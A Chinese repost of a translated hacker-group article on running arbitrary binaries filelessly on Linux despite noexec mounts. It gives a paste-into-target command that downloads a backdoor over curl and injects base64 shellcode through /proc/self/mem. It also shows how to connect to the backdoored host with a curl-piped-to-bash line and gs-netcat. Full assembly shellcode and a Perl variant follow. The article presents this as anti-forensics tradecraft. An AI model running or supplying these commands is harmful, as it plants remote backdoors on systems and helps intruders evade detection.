绕过 noexec 并执行任意二进制文件

admin 2024年11月4日10:30:29评论3 views字数 4672阅读15分34秒阅读模式

原文地址:https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries

绕过 noexec 并执行任意二进制文件

前言

项目地址:https://github.com/hackerschoice/memexec

无文件执行是指在不触及文件系统的情况下运行可执行文件。这一概念并不新鲜,以前的研究中已有讨论。

省流:在不允许执行的 Linux 系统上(例如受限的 PHP 环境、只读文件系统或带有 noexec 挂载标志的环境)执行二进制文件。仅使用 Bash,并从 Bash 中调用 syscall(2),将 ELF 二进制文件直接通过网络传输到 Bash 的地址空间——不接触硬盘,也不使用 ptrace() 或 mmap()。

以往的许多技巧都调用了 mmap(2) 或需要 ptrace(2),因此在使用 noexec 挂载标志或禁止 ptrace 的情况下会失败。

虽然我们承认在这一领域站在前人的肩膀上,但我们提供了一种快速且可靠的无文件执行技巧,其唯一要求是 Bash 和一些核心工具(cat、cut、base64 和 dd)。

Bash 仅作为我们的 shellcode + 后门的孵化器(想想《异形》)。我们还提供了使用 Perl 或 PHP 实现相同功能的方法(不依赖 cat、cut、base64 或 dd)。此外,Perl 变体不需要访问 /proc/self/mem,因此在容器中也能工作。而 PHP 变体非常适合那些没有 Shell 访问权限和执行权限的 Web 云服务提供商。

那么,为什么你需要无文件执行呢?

  • 你没有权限在主机上写入任何位置。
  • 你有权限写入某个位置,但无法执行任何内容,而用户空间执行(ulexec 或 ld-linux.so)失败(noexec)。
  • 常见的 tmpfs 位置如 /dev/shm 被标记为 noexec。
  • 这通常被视为一种良好的运维安全/反取证实践,因为你的二进制文件在重启后不会留下痕迹。

这个执行技巧使用了社区发现的两种独立技术。

  1. 创建内存支持的文件描述符:使用 memfd_create(2) 系统调用创建一个文件描述符,该文件描述符指向完全驻留在 RAM 中的文件,不依赖于持久存储。这可以用于(临时)存储我们希望执行的文件。
  2. 通过写入 /proc/self/mem 修改进程镜像:/proc/self/mem 提供了一个简单的文件接口到进程内存,我们可以利用这一点将任意 shellcode 写入进程内存,为了实际执行 shellcode,我们可以选择由指令指针持有的内存位置,这样当 CPU 恢复执行时,我们的 shellcode 就会被执行。

将以下内容复制并粘贴到目标的 shell 中(警告,任何阅读这篇文章的人都知道用于登录系统的 SecretChangeMe。请更改!):

curl -fsSL https://thc.org/gs-demo.x86 
| GS_SECRET=SecretChangeMe bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrD0iDwAjr5EyJ0E0x200x5EiDOAB1CUiDwAhJicTrBkiD6Ajr60iJ5UiB7BIEAABIuGtlcm5lbAAAagBQuD8BAABIiedIMfYPBUmJwLgAAAAAvwAAAABIiea6AAQAAA8FSInCSIP6AH4PuAEAAABMicdIieYPBevUuEIBAABMicdqAEiJ5moAVEiJ4kgxyU0xyU2J4kG4ABAAAA8FuDwAAAC/YwAAAA8FAAAAAAA=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4'

然后使用以下命令登录到你被后门化的系统:

S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"

或者:

gs-netcat -i -s SecretChangeMe

现在让我们逐步分析这个技巧:

  1. 从外部源获取二进制文件/后门,并通过管道传输到 bash 的标准输入。
  2. 启动一个 Bash 进程。命令行 -c 包含 3 条命令,用分号分隔,由 Bash 依次执行:
    • Bash 切换到 /proc/$$(与 /proc/self 相同,但更短)。
    • 创建文件描述符(4)。
    • 最后一条命令包含子命令 $(cat syscall | cut -f9 -d" "),Bash 需要在调用 dd 或 base64 之前执行此子命令。Bash 通过分叉并在 wait(2) 系统调用中等待子进程完成来执行此子命令。在等待期间,父 Bash 的指令指针可以通过 /proc/$$/syscall 获取——这是 wait(2) 系统调用的地址,位于 libc 内部。
  3. 生成的子进程输出此指令指针。随后,dd 将使用此地址作为命令行选项,覆盖 wait() 系统调用的存根(例如,libc 中的 .text 段的某个位置)。
  4. 一个 base64 编码的 shellcode 被解码并通过管道传输给 dd。
  5. 然后,dd 定位到步骤 4 中的内存位置,并将 shellcode 从标准输入复制到进程的内存(使用步骤 2 中打开的文件描述符)。
  6. Bash 再次在相同的 wait(2) 系统调用中等待 base64 和 dd 完成执行。这一点很重要。

Bash 不知道在等待期间,它自己的 .text 段已经被我们的 shellcode 替换——在 Bash 正在等待的那个位置。

  1. 一旦 shellcode 被写入进程内存并且最后一个由 Bash 执行的程序(即 dd)退出,控制权将返回到 Bash。执行从指令指针所持有的内存位置恢复,然而我们已经用我们的 shellcode 替换了该位置。现在执行的是我们的 shellcode。

现在看看 shellcode 本身,以及它如何执行我们的二进制文件

section .text
    global _start

_start:
    ; 创建一个缓冲区
    mov rbp, rsp
    sub rsp, 1042

    ; 创建内存文件描述符
    mov  rax, 0x6c656e72656b    ; kernel
    push 0
    push rax
    mov rax, 319           ; memfd_create
    mov rdi, rsp           ; 名称 - kernel
    xor rsi, rsi           ; 不使用 MFD_CLOEXEC
    syscall
    mov r8, rdx            ; 保存 memfd 编号

loop:
    mov rax, 0             ; read
    mov rdi, 0             ; stdin
    mov rsi, rsp           ; 缓冲区指针
    mov rdx, 1024          ; 每次读取的字节数
    syscall
    mov rdx, rax           ; 将读取的字节数存入 rdx

    ; 检查是否到达文件末尾
    cmp rdx, 0
    jle exit               ; 如果读取的字节数为 0,关闭文件

    ; 将数据写入 mem_fd
    mov rax, 1
    mov rdi, r8           ; mem_fd 编号
    mov rsi, rsp          ; 缓冲区
    ; rdx 已经存储了之前读取的字节数
    syscall

    jmp loop

exit:
    ; execveat 执行 memfd 中的程序
    mov     rax, 322    ; execveat
    mov     rdi, r8     ; memfd
    push    0
    mov     rsi, rsp    ; 路径(空字符串)
    push    0
    push    rsp
    mov     rdx, rsp    ; ARGV(指向包含指向空字符串的指针的数组的指针)
    mov     r8, 4096    ; AT_EMPTY_PATH
    syscall

    ; 退出程序
    mov rax, 60                       ; sys_exit
    mov rdi, 99                       ; 退出代码 99
    syscall

使用 memfd_create 系统调用创建一个内存支持的文件描述符。

在循环中,将二进制文件的内容从标准输入复制到内存支持的文件描述符(记住——我们通过标准输入将二进制传递给 bash)。

一旦二进制文件完全复制到内存文件描述符中,就使用 execveat[6] 来运行存储在内存文件描述符中的二进制文件。

Perl 和 PHP 变体:

Perl 原生支持系统调用:我们不

需要 shellcode。不需要覆盖任何正在运行的进程内存。不需要访问 /proc/self/mem,并且在 ptrace 不可用时也能工作:

perl '-efor(319,279){($f=syscall$_,$",1)>0&&last}; 
    open($o,">&=".$f); 
    print$o(<STDIN>); 
    exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"

测试cat /usr/bin/uname | per '....' -a

PHP 不允许分叉。因此我们使用 PHP 的 fgets() 来读取 /proc/$$/syscall,并在 libc 的 fgets 存根之后覆盖 .text 段。稍后,我们需要再次调用 fgets() 来触发我们在读取(2)系统调用返回后执行的 shellcode(libc 的 fgets 调用 read(2) 系统调用)。

后续工作:

我们版本的 shellcode 仅在 x86_64 机器上工作,其他架构还有很多,我们相信 x86 和 arm 的版本会很有用,我们将此留给社区作为练习。如果你制作了其他架构的版本,请在这里提交 PR。

此技巧可能不工作情况:

  • 当访问 /proc/self/mem 被限制时,只有 Perl 变体会工作(例如,在容器内)。
  • 当 SELinux 或 GRSecurity 存在时,可能会限制对 memfd_create 的访问。

防范措施:

此技巧(稍作修改)在仅提供 ptrace()、mmap() 或 memfd_create() 之一的情况下也有效(禁用 ptrace 也将导致 /proc/self/mem 返回 -EPERM)。可能还有许多其他技巧可以实现相同的效果……请问问你的蓝队,祝好运。

备注和参考:

  • 它确实调用 mmap(),但不是在任何非 exec 挂载点的位置(这将失败),而是在内存文件描述符上,因此我们没问题。
  • 无文件执行由 tmpout.sh:https://tmpout.sh/3/10.html 提出,grugq (2004) - 链接1:https://seclists.org/bugtraq/2004/Jan/2, 链接2:https://phrack.org/issues/62/8.html#article
  • 好吧,人们仍然可以获得内存快照。
  • 文档对 memfd 页面是否可以被交换到磁盘保持沉默。
  • 有理由认为 SELinux 和 GRSecurity 可能不想限制 memfd 的使用,见 https://www.rapid7.com/blog/post/2019/12/24/memory-laundering-is-cleaner-better/。
  • execve 可以代替 execveat,但这需要 memfd 的确切路径(例如:/proc/self/fd/4),处理字符串在汇编中很麻烦,@skyper 建议使用 execveat 技巧,它可以直接接受创建的 fd 编号。
  • 我们在 https://x.com/David3141593/status/1386678449604108289 找到 /proc/self/mem 的技巧。
  • wait*() 系统调用会暂停调用线程的执行,直到其子线程之一终止。(来自手册页)。

原文始发于微信公众号(安全视安):【翻译】绕过 noexec 并执行任意二进制文件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月4日10:30:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过 noexec 并执行任意二进制文件https://cn-sec.com/archives/3349227.html

发表评论

匿名网友 填写信息